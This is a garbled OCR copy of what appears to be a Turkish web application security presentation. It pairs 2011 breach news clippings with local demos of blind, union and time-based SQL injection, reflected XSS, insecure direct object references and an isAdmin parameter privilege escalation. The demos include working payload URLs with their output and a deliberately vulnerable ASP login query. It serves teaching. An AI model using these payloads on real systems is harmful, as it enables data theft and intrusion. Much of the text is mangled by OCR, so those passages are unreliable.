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Citi Credit Card Hack Bigger Than Originally Disclosed

By Kim ZetterBd &  June 16,2011 | 10:35am | Categories: Breaches, Cybersecurity, Hacks and Cracks
¥ Follow KimZetter - 2,627 followers

Citigroup has been forced to reveal that a
recent hack of its network exposed the
inancial data of more than 360,000
customers, a much higher number than
the bank originally disclosed.
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Comodo Hacker Claims SQL Injection Used to Hack
Reseller
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March 29th, 2011, 09:50 GMT| By Lucian Constantin
S0L Injection 3L Certificate S3L Hosting

The Iranian hacker who compromised a Comodo reseller and used its credentials to obtain

rogue S5L certificates for high-profile domains claims the original point of entry was an SQL
injection vulnerability.

When asked by Robert Graham, CED of Errata Security, in an email exchange how he broke into the first
machine at globaltrust.it, the hacker said: "SQL injection, then privilage [sic] escalation, got S¥YS5TEM
shell, remote desktop, investigation and I discovered trustdll.gil."
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Oracle's MySQL.com hacked via SQL injection
Angela Moscaritolo

M PRINT EMAIL [i=] REPRINT [=] PERMISSIONS TEXT:A|A|A
Updated Monday, March 28, 2011 at 5:56 p.m. EST

Hackers over the weekend compromised Oracle's MySQL.com customer
website via SQAL injection and posted a list of usemames and passwords

online.

Two Romanian hackers using the aliases "TinKode” and "NeOh” have
taken responsibility for the attack and said they exploited an SQL injection
flaw to break into the web servers hosting MySQL.com, a website for the

popular open source database product.
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Sony Music Japan hacked through SQL
injection flaw

Hi there! If you're new here, you might want to subs
QA updates.

Another day, another attack on Sony. | reported
yesterday on the SQL injection attack exposing
user information on SonyMusic.gr and today

attackers have found flaws in SonyMusic.co.jp.

2 o : ¢ FLIP
The Hacker News sent us a tip this evening B’l' “*4evolut
documenting a couple of vulnerable web pages :

=0J

Security Labs



Sony 0O 20 Hackers

pows. ;:Lfggn‘fgﬁf::s Post (additional article #1), (additional article #2), LulzSe
. on incident
1 6 gg_ Ele:i'eeIl‘::alng'];\?:t:vurk 2576 | LulzSec Data Leaked: 54meg torrent of Sony Computer Entertainmn
(SCE Dg\met) Network (SCE Devnet) source code
) . While @LulzSec released the data in one torrent, the groug
323] EE}ES?E;IgSii?:;aI o= 6 | LulzSec BMG maps did not come from SCE Devnet (tweet since
1 7 06 netw;)rk — 37 this a distinct and separate compromise.
p Data Leaked: Sony BMG internal network maps
2011- Dump of the sonymusic.pt database. Idahe says he found S
1 8 06- ?;?{:gﬂ%illate“ to 25.25 |Idahe site seripting (XSS) and Iframe injection vulnerabilities in th
08 Records Breached: Customer e-mail addresses
0011~ fil::in:}?ong li?iidc?ufrzﬁg Through "spoofing”, an attacker used g5 accounts to exchang
06- |at Sﬂlﬁfliﬂ ag /M pSon om0~ | unknown coupons worth 278,000 points at Sonisutoa (My Sony Club).
1 9 08 Club (Google ¥ Y [25%5 ~ 280,000 ven (~ US%3,500). Sony cannot confirm if e-mail
Translati fn} passwords were leaked.
2011- gﬁ:lg‘ﬁgfgjl From the article: "According to a police statement, the sus
06-11 pe ¥ Anonymous.."
Hacking Case
2011- SQL injection reveals hashed passwords and e-mail |
2 0 06- S{?ﬂu {;::ltures fr f&lﬁ;iﬁi announced the day before that the site was vulnerable.
20 yp i q Records Breached: 177,172 e-mail addresses
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Web Uygul amal ar i

AASP, PHP, JSP, CFM, Python v.b. We
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AllS, Apache, nginx v.b. Web sunucule

AORACLE, MSSQL, MySQL, PostgreSQL
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Web Uygul amal ar i

ANET, Django, Zend v.b. h
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Web Uygul amal ar i1 n

Azafiyet Turleri

ADANRA 52 &NXzZ | YI %I 7T
AYAYE Al 52ENHzZ | YI %%l
AOturum Yonetimi Zafiyetleri
AYetkilendirme Zafiyetleri

Aal yaPlalf wm FaAéSufs
AAJAX Zafiyetler

ADenial of Service
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Web Uygul amal ar i1 n

AOY 21 1 NDPEI OPE
ASQL, Code Injection
AFile Inclusion
AXSS, CSRF
ADirect Object Reference
ASession Hijacking
APrivilege Escalation
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Uygul amal ara Gel en

A Siyasi / Etnik Propaganda
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Uygulamalar Neden Guvensiz?
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A Sirecten cok sonuca 6nem verme
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SQL Injection
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A5 2 ENXzt | YYI RI Y
ADenetlenmeden
ASQL Sorgusuna dahil edilmesi



SQL Injection

AGenel ama¢ SQL Sorgusunu amaca uyg!
manipule ederek;
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SQL Injection

HI, THIS 1S OH, DEAR - DID HE | DID YOU REALLY WELL WEVE LOST THIS
YOUR SONS SCHOOL. | BREAK SOMETHING? | NAME YOUR SON YEARS STUDENT RECORDS.
WERE HAVING S0ME Robert'); DROP T HOPE YOURE HAPPY.

PR TOBE | VYY) | TRE S 7 ]

R \o L AND T HOFE
| ~OH,YES, UTNE “_YOUVE LEARVED
— - ROBBY TABLES, L T0SANMIZE YOUR
ja ﬂ ﬂ WE CALL HIM. DATARASE INPUTS
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SQL Injection

set rs=Server.CreateObject("ADODB.recordset™

rs.open”select * from login with (NOLOCK)
where loginname=" & Request(" e !
and Password='& Request(Tpass’) & "™
,cnn
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SQL Injection

set rs=Server.CreateObject("ADODB.recordset™

rs.open”select * from login with (NOLOCK)
wher e | o@animerkanthe =
Pas s wi¥4d6= ,cnn
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SQL Injection

set rs=Server.CreateObject("ADODB.recordset™

rs.open”select * from login with (NOLOCK)
where | ogl n @& meahd
Pas s wii4dt= ,cnn
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SQL Injection

set rs=Server.CreateObject("ADODB.recordset™

rs.open”select * from login with (NOLOCK)
wher e [Hogivcnig a eme =

and) P az2saban o r
cnn
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SQL Injection Turleri

ABlind SQL Injection
AError / Union Based SQL Injection
ATime Based SQL Injection



Blind SQL Injection

A{ 2 NBdzf | NPY a2y dzOdz
geri donmez
A'eHMtIYIYPy hw2 ! b
USLITAAAYS 3l N5 OJSN
Ol ol NPaP Iytl oPt PN



Blind SQL Injection

http://local/sgli.php?catld=1

Dosya Dizen Gorinim Gecmis Yerimler Araclar Yardim

http:/flocalfsgli.php?catid=1 I| E:::ZI |

|
-3:.,,: | http:/flocal/sgli.php?catid=1

Name: Test Product

Desc: This is the main copy for the product.

Name: Yet Another Test
Desc: Test Product

RD
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Blind SQL Injection

http://local/sqli.php?catld=

Dosya Dizen Gorinim Gecmis Yerimler Araclar Yardim

http://localfsqgli....tId=1%20and%201=1 | £ |

|
I-IttFIZ_l'_|'|I:I I:ﬁl_l'Sl:||i_FI|'|F|?|:a|:||j=l and 1=1

Name: Test Product
Desc: This is the main copy for the product.

Name: Yet Another Test
Desc: Test Product
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Blind SQL Injection

Al and 1=1 == TRUE
AMITM YIYyaPlalt AFFRS
OF LR RSESNA wm 2fly
donduruldi

Al and 1=99 == FALSE ??

c



Blind SQL Injection

http //Iocal/sqll php’PcatId-

e D il ecmis Yerimleri Araclar Yardim

||| http:/flocalfsgli...ld=1%20and% l_-!:!||2::::||

Name:
Desc:
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Blind SQL Injection

Exploitation
Dosya Dizen Garinim Gecmis Yerimleri Araclar Yardim

| http://local/sqli.ph...),1,1))=113),1,0)=1 Ifl}l

-::Z:‘j:l i.php?catld=1 and IF{{ascii(substrilSER(),1,1))=113),1.01=1 L

Name:
Desc:
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Blind SQL Injection

Exploitation

Dosya Dizen Garinim Gecmis Yerimleri Araclar Yardim

http://local/sqli.ph...).1.1))=114),1,0)=1 | = |

i.php?catld=1 and IFi{ascii(substriU5ER(),1,1)]=114),1,01=1

Name: Test Product
Desc: This is the main copy for the product. T R U E

Name: Yet Another Test
Desc: Test Product
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Union SQL Injection
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dosyalar okunabilir



Union SQL Injection

Exploitation

Dosya Dizen Gorinim Gecmis Yerimleri Araclar Yardim

||| http:/flocal/sali....200rder%20by%2010 | O o

-Z:_HI] http:fflocal/sqli.php?catid=1 order by 10

MySQL Error Occured
1054: Unknown column 10" in 'order clause' FALS E

QUERY = SELECT description, name FROM CubeCart cats idx
. INNER JOIN CubeCart_inventory ON

. CubeCart cats idx.productld = CubeCart inventory.productld

. WHERE CubeC: art cats idx.cat id =1 order by 10

__________________________________________________________________________________________ —_

RD=0

Security Labs




Union SQL Injection

Exploitation

Dosya Dizen Gérinidm Gecmis Yerimleri Araclar Yardim

http://local/sgli....%200rder%20by%202 | = |

http:/flocal/sgli.php?catld=1 order by 2
Name: Test Product

Desc: This is the main copy for the product.

Name: Yet Another Test
Desc: Test Product

RD
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Union SQL Injection

Exploitation

Dosya Dizen Gérinim Gecmis Yerimleri Araclar Yardim

||| http://local/sgli...., %27 bolat%2 7--%20x I| 1::]:|

-=:I:w|:| walfsgli.php?catld=1 union select 'canberk'.'bolat'-- x

Name: Test Product
Desc: This is the main copy for the product.

Name: Yet Another Test
Desc: Test Product

Name: bolat
Desc: canberk

RD=0

Security Labs




Union SQL Injection

Exploitation

http://local/sqli.php?catld=1 union select 1,USER()-- »

Name: Test Product
Desc: This is the main copy for the product.

Name: Yet Another Test
Desc: Test Product

Name: root@localhost
Desc: 1
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Time Based SQL Injection

ABlind SQL Injection gibidir
ACIF1FG az2NBdzydzy &az2y.
herhangi bir tepki yoktur
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Time Based SQL Injection

AOrnek:
AYF NDBPEfFOUOPNXYI R2ENJ

IF((IFADE>100); =1



Time Based SQL Injection

Dosya Dizen Gorinim Gecmis Yerimler Araclar Yardim

| http:/flocalfsgli.p.. 0%20limit%2 0 1--+ XX I| I:E:I| El ﬁ-{ "

’\;] @ | http:/flocalfsgli.php?catid=1 and (sleep(10)=0 limit 1)—-+XX [B W | B

Baslanqic: 22:06:08

Bitis: 22:06:18

Name: Test Product

Desc: This is the main copy for the product.
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Crosssite Scripting

ADANRA 5SYSOGAYaAIl A
gelir
At SNAYAY R2ENHZRI YKkR:
| ¢ a] ccRamaERENPY I Rl K.
Al I f RPNABIFY A ®@SNAEA
Al F NAOA OSUATE SNI cel
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Crosssite Scripting

Baglaniyor..

.y % ittp:fflocal/xss.phptuser=<script=alert("X55")</script>

Hosgeldiniz sayin
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Crosssite Scripting

Dosya Ddzenle Gorandm Yardim

Hosgeldiniz sayin <script=alert("X55")</script>
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Crosssite Scripting

AKlasik XSS Senaryosu
Sal di rgan

Vi’

Oturum XSS

\ /

Cookie Hedef
s
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Mant i1 ksal Ac1 Kk
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Mant i1 ksal Ac1 Kk

ASAESNI | ePlf P1fF NP
A9y & P IRNERERINE - v | V|
Alnsecure Direct Object Reference

APrivilege Escalation
Aal yiPlaltkTFlIRSasSt



Mant i1 ksal Ac1 Kk

A. SY A Y IS RECNP Y

Dosya Dizen Gorinim Gecmis Yerimleri Araclar Yardim

http:/flocal/bank.phpfuserd=123 I| I:::::I |

|
.
-.;l | http://local/bank.php?userld=123 L

Name: Canberk
SLcllrname: BOLAT USGH D 123

Cash: 1337 %%
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Mant i1 ksal Ac1 Kk

A. 61l aPYyPy | SalFoP

Dosya Dizen Gorinim Gecmis Yerimleri Araclar Yardim

http:/flocalfbank.phpfuserld=199 ,| EII:II:I |

-.;l | http://local/bank.php?userld=199 L
Name: Halil

Surname: OZTURKCI userl D 199

Cash: 11337 $%
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Mant i1 ksal Ac1 Kk
ASANBOG hoaSOl wSTS
AeAyYy dza SNL R LJ NJ YS

O0SYAY 20dzNHzYdzYl | A
denetlenmedi
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Mant i1 ksal Ac1 Kk

APrivilege Escelation

Dosya Dizen Gérinidm Gecmis Yerimleri Araclar Yardim

http://local/manage.phptisAdmin=false I| I::]:I |

|
-33.,.: http:/flocalfmanage.phpfisAdmin=fals

Merhaba Kullanici,
Adin: Canberk
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Mant i1 ksal Ac1 Kk

APrivilege Escelation

Dosya Dizen Gérinidm Gecmis Yerimleri Araclar Yardim

http://local/manage.phptisadmin=true I| I::]:I |

|
-33.,.: | http:/flocalfmanage.phpRisAdmin

Merhaba Administrator,
Adin: Canberk
Tum Dosyalarn Sil
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Uygulama Guvenlik Testler!

Weblnspect
DEMO
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